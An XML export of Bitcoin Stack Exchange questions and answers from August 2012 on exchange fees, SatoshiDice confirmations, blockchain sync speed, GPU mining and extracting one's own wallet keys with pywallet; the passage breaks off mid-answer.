  <row Id="4446" PostTypeId="2" ParentId="4445" CreationDate="2012-08-16T01:01:36.680" Score="15" Body="&lt;p&gt;Yes, blockchain.info has its own testnet service: &lt;a href=&quot;https://testnet.blockchain.info/&quot; rel=&quot;noreferrer&quot;&gt;https://testnet.blockchain.info/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2017-12-31T00:05:06.437" LastActivityDate="2017-12-31T00:05:06.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4447" PostTypeId="1" CreationDate="2012-08-16T02:11:05.773" Score="1" ViewCount="420" Body="&lt;p&gt;Basically, how does a site like bitcoincharts.com gather its statistics? I like coding in python if you want to offer code examples.&lt;/p&gt;&#xA;" OwnerUserId="1738" LastActivityDate="2012-08-17T00:01:33.420" Title="What's the easiest way to gather/collect statistics on the bitcoin network?" Tags="|development|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4448" PostTypeId="2" ParentId="4443" CreationDate="2012-08-16T03:43:51.033" Score="0" Body="&lt;p&gt;From memory, when pool mining I can solve about 220 shares per hour with 270MH/s. You could work out an approximate hash rate based on the number of shares solved.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-08-16T03:43:51.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4449" PostTypeId="1" AcceptedAnswerId="4504" CreationDate="2012-08-16T05:05:40.813" Score="1" ViewCount="2739" Body="&lt;p&gt;I know my bank (HSBC) charges me $20 AUD to make a wire transfer. But how much is charged by MtGox to receive this wire transfer on say $1000 AUD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm tossing up between cryptoxchange and MtGox - MyGox has better prices to buy bitcoins in AUD, but I have to know how much it will cost to send them my money. I can deposit $1000 AUS in cryptoxchange with no fees.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="516" LastEditDate="2012-08-16T05:16:42.493" LastActivityDate="2012-08-21T10:46:49.323" Title="What is the fee charged by MtGox to receive a wire transfer in AUD?" Tags="|mtgox|wire-transfers|exchange-fees|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4450" PostTypeId="2" ParentId="4449" CreationDate="2012-08-16T05:29:36.703" Score="0" Body="&lt;p&gt;From the International Wire Transfers - Deposits section of &lt;a href=&quot;https://support.mtgox.com/entries/20490576-withdrawals-and-deposits&quot; rel=&quot;nofollow&quot;&gt;MtGox's FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our bank charges a receiving fee of 1,000 Yen.  You can send wires in&#xA;  any currency to our bank in Japan. Funds sent in non-USD will either&#xA;  be added to your wallet in that currency if you have one, or converted&#xA;  to USD with a 2.5% exchange fee. Any fee charged by your bank or an&#xA;  intermediate bank will be deducted.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you plan to invest more than 50000 USD or equivalent on the long&#xA;  term in bitcoins, we need to know about you. In this case please use&#xA;  our verification system to get your account verified first. Submission&#xA;  of forged documents will result in declaration to the appropriate&#xA;  authorities.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Not following the instructions written below can result in your funds&#xA;  being lost, or handed over to the local authorities while pending&#xA;  investigation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Also note that International deposits lower than 75 USD (or&#xA;  equivalent) typically result in only a small amount of funds being&#xA;  deposited into the receiving account or may be rejected because the&#xA;  amount of fees went over the amount of sent funds. This is due to&#xA;  intermediaries and banking fees.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Google tells me that 1000JPY is worth about 12AUD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a mention of another method &quot;Technocash&quot; having issues, which likely means it's no longer available. It also mentions that AurumXChange will soon accept Australian bank deposits (no mention of withdrawals, but you could hope!).&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-16T07:31:25.207" LastActivityDate="2012-08-16T07:31:25.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4451" PostTypeId="2" ParentId="4447" CreationDate="2012-08-16T09:06:31.957" Score="1" Body="&lt;p&gt;BitcoinCharts doesn't show much from the bitcoin network.  The market data comes from the exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Charts shares freely their markets and trade history data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/about/markets-api/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The original source for the data is accessed from the exchanges themselves.  Most exchanges do share their data but the API methods are not standard nor consistent between exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as statistics on the blockchain data, the method will vary on which statistic you are trying to get at as some are stored (confirmed transactions), and others are not (e.g., memory pool contents, double spend transaction attempts, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you like python, then Armory provides access to the blockchain.  See the Sample Armory code in the extras::&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory/tree/master/extras&quot; rel=&quot;nofollow&quot;&gt;https://github.com/etotheipi/BitcoinArmory/tree/master/extras&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-17T00:01:33.420" LastActivityDate="2012-08-17T00:01:33.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4452" PostTypeId="1" AcceptedAnswerId="4455" CreationDate="2012-08-16T11:58:39.953" Score="7" ViewCount="2873" Body="&lt;p&gt;I understand they use your bet as an input, but what does that mean and how do they do it? Can they use the standard bitcoind as a server against which to run the API from?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="323" LastEditDate="2013-01-30T20:41:33.070" LastActivityDate="2018-02-22T00:14:22.503" Title="How does SatoshiDice operate with 0 confirmations?" Tags="|bitcoind|confirmations|satoshidice|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4453" PostTypeId="1" AcceptedAnswerId="4458" CreationDate="2012-08-16T18:47:27.427" Score="3" ViewCount="658" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a transaction and I want to see what addresses the inputs came from. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-08-17T00:09:21.260" Title="Using the Bitcoin API, how can I see the sending address?" Tags="|transactions|bitcoind|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4454" PostTypeId="1" AcceptedAnswerId="4459" CreationDate="2012-08-16T19:49:25.260" Score="3" ViewCount="2770" Body="&lt;p&gt;I am not using a pool, I am using my graphics cards mining with poclbm over rpc. i do not understand why I get these messages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost:8332 15/08/2012 22:40:13, No more backup pools left. Using primary and starting over.&#xA;localhost:8332 15/08/2012 22:40:13, Setting server (MYUSERNAME @ localhost:8332)&#xA;localhost:8332 16/08/2012 13:15:35, No more backup pools left. Using primary and starting over.&#xA;localhost:8332 16/08/2012 13:15:35, Setting server (MYUSERNAME @ localhost:8332)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this something that is fixable? Should I bother (does it affect the mining in any significant way)?&lt;/p&gt;&#xA;" OwnerUserId="1745" LastEditorUserId="5406" LastEditDate="2016-02-03T10:24:09.263" LastActivityDate="2016-02-03T10:24:09.263" Title="&quot;No more backup pools left. Using primary and starting over.&quot;" Tags="|json-rpc|solo-mining|gpu-mining|miner-configuration|poclbm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4455" PostTypeId="2" ParentId="4452" CreationDate="2012-08-16T20:58:18.647" Score="4" Body="&lt;p&gt;This is oversimplified, but here's one sequence showing a serie of payment transactions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miner --&gt; You --&gt;  Me --&gt;  SatoshiDice --&gt; Me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you send half a bitcoin to me and I use a client that lets me send it instantly to SatoshiDICE.   SatoshiDICE then includes at least part of that payment in their win or loss return payout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once your payment to me confirms, then mine to SatoshiDICE can confirm.  Once my payment to SatoshiDICE is confirmed, then their payout back to me can confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you cheated me and your payment to me was a double spend it will then never confirm (reaching 6 confirmations).  And in turn, my transaction to SatoshiDICE will never confirm.  And in turn, the SatoshiDICE payout transaction back to me will never confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it doesn't matter that I saw a payout transaction from SatoshiDICE right away, I can't spend it anywhere until it confirms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because even a transaction with one or two transactions can get orphaned due to a block reorg and a double spend attack, even if you see a confirmation that doesn't mean the transaction will clear.  That is why, unless there is recourse, only six transactions is the recommended number of confirmations to require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the transactions for a losing 0.02041833 BTC bet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://satoshidice.com/lookup.php?tx=0419fdcbc82add4b46b6fe11e362561d0a3d18329770b36a637a2b60a881cf1e&quot; rel=&quot;nofollow&quot;&gt;http://satoshidice.com/lookup.php?tx=0419fdcbc82add4b46b6fe11e362561d0a3d18329770b36a637a2b60a881cf1e&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tx-index/16106266/0419fdcbc82add4b46b6fe11e362561d0a3d18329770b36a637a2b60a881cf1e&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx-index/16106266/0419fdcbc82add4b46b6fe11e362561d0a3d18329770b36a637a2b60a881cf1e&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tx-index/16106269/e69d7d733d4de5eee6fae0d402fe0db0fdd2544e9ece0f169922d143a8eaf850&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx-index/16106269/e69d7d733d4de5eee6fae0d402fe0db0fdd2544e9ece0f169922d143a8eaf850&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can see the flow visually here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/tree/16104343&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tree/16104343&lt;/a&gt;  (click on the orange dot for the 0.01569037 BTC payment, which was one of the two inputs that paid for the bet.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-16T21:09:58.887" LastActivityDate="2012-08-16T21:09:58.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4456" PostTypeId="1" AcceptedAnswerId="4457" CreationDate="2012-08-16T22:17:11.047" Score="2" ViewCount="515" Body="&lt;p&gt;Namecoin sounds neat, but I know that the strength of the network depends on the amount of computing power in use. Namecoin isn't as popular as Bitcoin, so it would be easier for an attacker to control the network. I'm curious how big the difference actually is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does the amount of computing power in use compare between the Namecoin and Bitcoin networks?&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="196" LastEditDate="2013-03-03T13:59:24.557" LastActivityDate="2018-11-09T04:45:22.127" Title="How does the computing power of the Namecoin network compare to the Bitcoin network?" Tags="|network|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4457" PostTypeId="2" ParentId="4456" CreationDate="2012-08-16T22:49:28.960" Score="5" Body="&lt;p&gt;Since Namecoin &lt;a href=&quot;https://bitcoin.stackexchange.com/q/128/516&quot;&gt;started using merged mining&lt;/a&gt; with Bitcoin, its effective processing power increased substantially. The current difficulty is &lt;a href=&quot;http://bitcoinx.com/namecoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;1063443&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is very high considering the resale value of namecoins (1 namecoin is worth &lt;a href=&quot;https://vircurex.com/welcome/index?base=btc&amp;amp;alt=nmc&quot; rel=&quot;nofollow noreferrer&quot;&gt;0.002 of a bitcoin&lt;/a&gt;) and given that the difficulty is 49% of the Bitcoin difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network currently is around 16TH/s, so you'd need around 8TH/s to successfully attack the Namecoin network. That would be pretty expensive!&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-08-17T00:31:31.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4458" PostTypeId="2" ParentId="4453" CreationDate="2012-08-16T23:47:17.990" Score="2" Body="&lt;p&gt;If you use &lt;code&gt;gettransaction&lt;/code&gt; on the transaction ID, the keys used to claim the inputs are in the &lt;code&gt;scriptSig&lt;/code&gt; fields. They're the string starting with &lt;code&gt;04&lt;/code&gt;. You'll have to hash them and then convert them to base58 get account IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these account IDs may or may not actually mean anything. If you're being paid out of &quot;change&quot;, then the account IDs are essentially random.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-08-17T00:09:21.260" LastActivityDate="2012-08-17T00:09:21.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4459" PostTypeId="2" ParentId="4454" CreationDate="2012-08-16T23:49:37.177" Score="2" Body="&lt;p&gt;Presumably, you have no backup pool configured. So if your server doesn't respond quickly enough, poclbm just fails over back to the primary pool. If these are only happening occasionally, I wouldn't worry about it. Anything that momentarily prevents the RPC call from getting a response can do this.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-08-16T23:49:37.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4460" PostTypeId="2" ParentId="4452" CreationDate="2012-08-17T01:21:15.357" Score="4" Body="&lt;p&gt;If SatoshiDice paid out as quickly as they possibly could then what say an attacker did the following when sending bitcoins to make a bet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If the bet wins, the attacker receives the winnings and does nothing further, or &lt;/li&gt;&#xA;&lt;li&gt;If the bet loses, then the attacker tries to get a double spend of the bitcoins out to the majority of the network. If successful, they essentially get their SatoshiDice bet back.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Even fractions of a second would make a difference to the potential success of such an attack, so if SatoshiDice has, say, a 10 second delay before they payout, then the attack may become virtually impossible to achieve unless the attacker somehow cut SatoshiDice off from the majority of the network (very difficult to achieve).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-08-17T01:21:15.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4461" PostTypeId="1" AcceptedAnswerId="4474" CreationDate="2012-08-17T02:15:23.710" Score="47" ViewCount="23890" Body="&lt;p&gt;First off, this really needs to get fixed. I'm downloading blocks for at least 8 hours now, and it's still not done. I know the problem of having to download the entire block chain is being worked on, but I feel it's already out of hand. Setting up an application should take something you would measure in minutes, not hours or days. (After spending the entire night, it's now 4:15am, I would estimate the setup time to be two &lt;em&gt;days&lt;/em&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also downloading can be much optimized as it is. It's far from using my maximum download speed, and being connected to one peer is as fast as being connected to 8+ (yup, also tried port forwarding).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, ontopic.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it normal that downloading blocks goes slower, the further you progress? The first half (out of 194.000) went in the blink of an eye, after that it became less and less fast. Now at 20.000 blocks remaining, progress comes in bursts, but there can easily be 20 seconds of inactivity and when it bursts it's like 10 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behavior? And also, why doesn't the number of connections make any difference for the speed at all? If it works like Bittorrent, which some describe it to work like, it should get faster with more people who can upload to you (more connections).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've Googled, but all I've found is that it takes a few hours and that it may get stuck. It's not stuck and taking as long as people describe it to be, but I just wonder if it's normal that it's going slower and slower, and why it doesn't saturate my download capacity (like BitTorrent) no matter how many connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="47827" LastEditDate="2020-12-20T17:48:59.547" LastActivityDate="2020-12-20T17:48:59.547" Title="Why is downloading blocks taking longer and longer?" Tags="|installation|synchronization|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4462" PostTypeId="2" ParentId="4461" CreationDate="2012-08-17T02:46:53.750" Score="6" Body="&lt;p&gt;Yes, it's normal for the rate of blocks being received to decrease as the download progresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it slows down is because there were very few transactions in each block in the early days of Bitcoin, so the blocks were smaller. Later blocks are bigger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Satoshi Bitcoin Client is still a Beta version, and even if it wasn't it may still need to download the entire blockchain which I believe is over 2GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which platform are you running the client on? You should be able estimate how much data is left to download by looking at the blockchain files on disk in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot;&gt;application folder&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that HDD speed may be a significant factor too, as verification of each block is performed as it's downloaded, and that can be complicated for a transaction with many inputs. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=74275.0&quot;&gt;Discussion here&lt;/a&gt;. &lt;em&gt;dooglus&lt;/em&gt; provides evidence of that theory by testing with a RAM disk and heavily reducing the download time.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-08-17T03:19:49.870" LastActivityDate="2012-08-17T03:19:49.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4463" PostTypeId="2" ParentId="4461" CreationDate="2012-08-17T03:16:05.620" Score="23" Body="&lt;p&gt;Very little of the time is spent downloading the blockchain data compared to how much time your computer is spending verifying each transaction.  Bitcoin does a ton of disk i/o for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there are more transactions since April (thanks to SatoshiDICE, we now see 40K and more transactions a day) those blocks take longer to verify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on an encrypted filesystem, that will really be hurtful for perfomance.  If so, consider moving the blockchain and index to a filesystem that isn't encrypted and then symlink to them there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the latest release of the Bitcoin.org client (v0.6.3) has peformance improvements in this area over previous releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End uses generally will not need to run the client and instead use &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Simplified_Payment_Verification_.28SPV.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;SPV (Simplified Payment Verification)&lt;/a&gt;.  So individuals and organizations that do want to run the full client should recognize that to do so requires a beefy CPU and quick storage (SSD maybe even).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A future version (after 0.7) will include LevelDB which should make huge gains as far as performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can always &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3551/how-can-one-download-the-initial-blockchain-data-files-securely&quot;&gt;securely download&lt;/a&gt; a full set of blockchain data &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;from   Sourceforge&lt;/a&gt; that is as-of a fairly recent point in time.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-03-15T12:27:35.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4464" PostTypeId="1" AcceptedAnswerId="4465" CreationDate="2012-08-17T03:26:32.573" Score="4" ViewCount="372" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/262/516&quot;&gt;This question&lt;/a&gt; partially asked the same thing, but only got a response for viewing the size when you have the client installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know the total blockchain size without having to install the client and download the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-08-17T03:49:24.817" Title="Where on the web can I find out the current total blockchain size?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4465" PostTypeId="2" ParentId="4464" CreationDate="2012-08-17T03:49:24.817" Score="3" Body="&lt;p&gt;Blockchain.info has many useful stats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/blocks-size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-08-17T03:49:24.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4466" PostTypeId="1" CreationDate="2012-08-17T04:25:08.363" Score="7" ViewCount="4188" Body="&lt;p&gt;Excuse me if this is a stupid question, but does mtgox have an option to see market depth? The trading page allows me to set a price, but without know the current levels of bid/asks how can I make a judgement about what price to set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cryptoxchange seems to display this information on its trading page, but I can't seem to find it on mtgox.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="516" LastEditDate="2012-08-17T04:43:01.563" LastActivityDate="2013-05-04T10:21:39.700" Title="View market depth/ orders on mtgox?" Tags="|mtgox|market-depth|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4467" PostTypeId="1" CreationDate="2012-08-17T09:31:17.327" Score="1" ViewCount="780" Body="&lt;p&gt;I'm running Ubuntu 12.04 and I'd like to attach my monitor to the onboard Intel graphic and have my GPU (ATI 67xx) for mining solely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I'm struggling with setting up the ATI GPU. Do I need to run 2 XServers? Or 2 displays with one XServer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone get a setup like this to work?&lt;/p&gt;&#xA;" OwnerUserId="1748" LastEditorUserId="5406" LastEditDate="2016-04-24T12:51:15.277" LastActivityDate="2016-04-24T12:51:15.277" Title="ATI GPU for mining with display attached to integrated graphics?" Tags="|miner-configuration|ubuntu|linux|gpu-mining|mining-setup|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4468" PostTypeId="2" ParentId="4466" CreationDate="2012-08-17T10:03:36.953" Score="4" Body="&lt;p&gt;I can't seem to find it either, I'm pretty sure that they used to show it. The market depth is available &lt;a href=&quot;https://mtgox.com/api/1/BTCUSD/fulldepth&quot; rel=&quot;nofollow&quot;&gt;in their API&lt;/a&gt; though and if you want something a bit more user friendly it is also available on &lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxUSD_depth.html&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Charts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-08-17T10:03:36.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4469" PostTypeId="1" AcceptedAnswerId="4470" CreationDate="2012-08-17T16:46:15.967" Score="8" ViewCount="11670" Body="&lt;p&gt;I have encrypted my bitcoin wallet. I know the passphrase, that's not the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to transfer my bitcoins to blockchain.info but it's asking me for the private key. I cannot find it nor can I find how to find it. I have searched around on google; a few sites say that pywallet will extract the private key, but I have used this and all I get is the address I have created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is my private key(s)?&lt;/p&gt;&#xA;" OwnerUserId="1749" LastEditorUserId="105" LastEditDate="2012-08-18T08:20:44.677" LastActivityDate="2020-02-17T12:39:13.113" Title="Extract private keys from Bitcoin Wallet" Tags="|bitcoin-core|private-key|blockchain.info|import|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4470" PostTypeId="2" ParentId="4469" CreationDate="2012-08-17T17:11:53.190" Score="6" Body="&lt;p&gt;Use &lt;a href=&quot;https://github.com/joric/pywallet&quot;&gt;pywallet&lt;/a&gt; to extract the private keys and copy the output to &lt;a href=&quot;http://blockchain.info&quot;&gt;blockchain.info&lt;/a&gt;'s Import Backup page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use pywallet, you open a command prompt/terminal window at the folder where you saved it and type &lt;code&gt;./pywallet --dumpwallet --password=&quot;Whatever your passphrase is&quot;&lt;/code&gt;. NOTE: this will output everything in plain text, so if you do this on a public computer or with somebody looking over your shoulder, some of your bitcoins may be stolen.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2012-08-17T17:11:53.190" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4471" PostTypeId="1" CreationDate="2012-08-18T16:51:26.537" Score="5" ViewCount="2516" Body="&lt;p&gt;I am brand new to Bitcoin. I am retired investor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What benefit would using Bitcoin have over, say, using a credit card, etc.? It appears that Bitcoin is primarily designed for businesses, buying, selling, and using Bitcoin as the exchange medium.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw a chart which showed the Bitcoin/USD value at approximately $32 and then dropped to $2 and now is back around $15 as of August 18, 2012.&lt;/p&gt;&#xA;" OwnerUserId="1754" LastEditorUserId="5406" LastEditDate="2014-10-03T11:33:49.930" LastActivityDate="2014-10-03T11:33:49.930" Title="What benefit does bitcoin provide over using a credit card?" Tags="|exchanges|key-selling-points|properties|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4472" PostTypeId="1" AcceptedAnswerId="4473" CreationDate="2012-08-18T16:59:30.097" Score="5" ViewCount="2374" Body="&lt;p&gt;I'm not using a mining-dedicated videocard, i'm using my only video card (Radeon 6850) and i'm getting around 0.11 btc/24h.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern is about reducing the lifespan of (or even burning) my video card with this.&lt;/p&gt;&#xA;" OwnerUserId="1755" LastEditorUserId="5406" LastEditDate="2016-02-03T10:21:16.193" LastActivityDate="2016-02-03T10:21:16.193" Title="Bitcoin mining may reduce the lifespan of my video card?" Tags="|gpu|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4473" PostTypeId="2" ParentId="4472" CreationDate="2012-08-18T18:16:35.317" Score="6" Body="&lt;p&gt;Heavy usage will certainly decrease the lifetime, but I think it's not incredibly much as long as it's not overclocked. You will probably even buy a new card (because the current becomes too outdated/slow) before the current one breaks down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep an eye on the temperature for a few hours (or as long as it's not stable/maxed out), it shouldn't exceed about 75-80 °C. Otherwise you may want to invest on cooling, regardless of bitcoin mining (games also make the card warm). If it's at an okay temperature, you should be good.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="196" LastEditDate="2012-08-19T09:19:22.413" LastActivityDate="2012-08-19T09:19:22.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4474" PostTypeId="2" ParentId="4461" CreationDate="2012-08-18T18:30:44.687" Score="18" Body="&lt;p&gt;Okay, combining answers and what more I've observed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The rate of blocks slows down because more recent blocks are larger. The number of blocks remaining is not actually a good measure for estimated time.&lt;/li&gt;&#xA;&lt;li&gt;You can make an estimate based on how much data is downloaded (in how much time) and how much data is left: At the moment of writing, my blk000x.dat files are totaling 8.3GB (10 Feb 2013).&lt;/li&gt;&#xA;&lt;li&gt;I can't say anything about how fast the data size will increase, perhaps someone can comment on this for future readers.&lt;br&gt;&#xA;&lt;strong&gt;Update:&lt;/strong&gt; It seems to be growing rather fast, probably linearly with &lt;a href=&quot;http://blockchain.info/charts/n-transactions?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot;&gt;the number of transactions per block&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The reason it doesn't max out your download speed, is because it's actually doing a lot of other things to verify the transactions.&lt;/li&gt;&#xA;&lt;li&gt;Downloading a zip with nightly blk000x.dat files is a lot faster, but copying the files didn't work... In the end I just left it running a few more hours. Also see the comment about a bug this might introduce when an error is present in the files (intentionally or 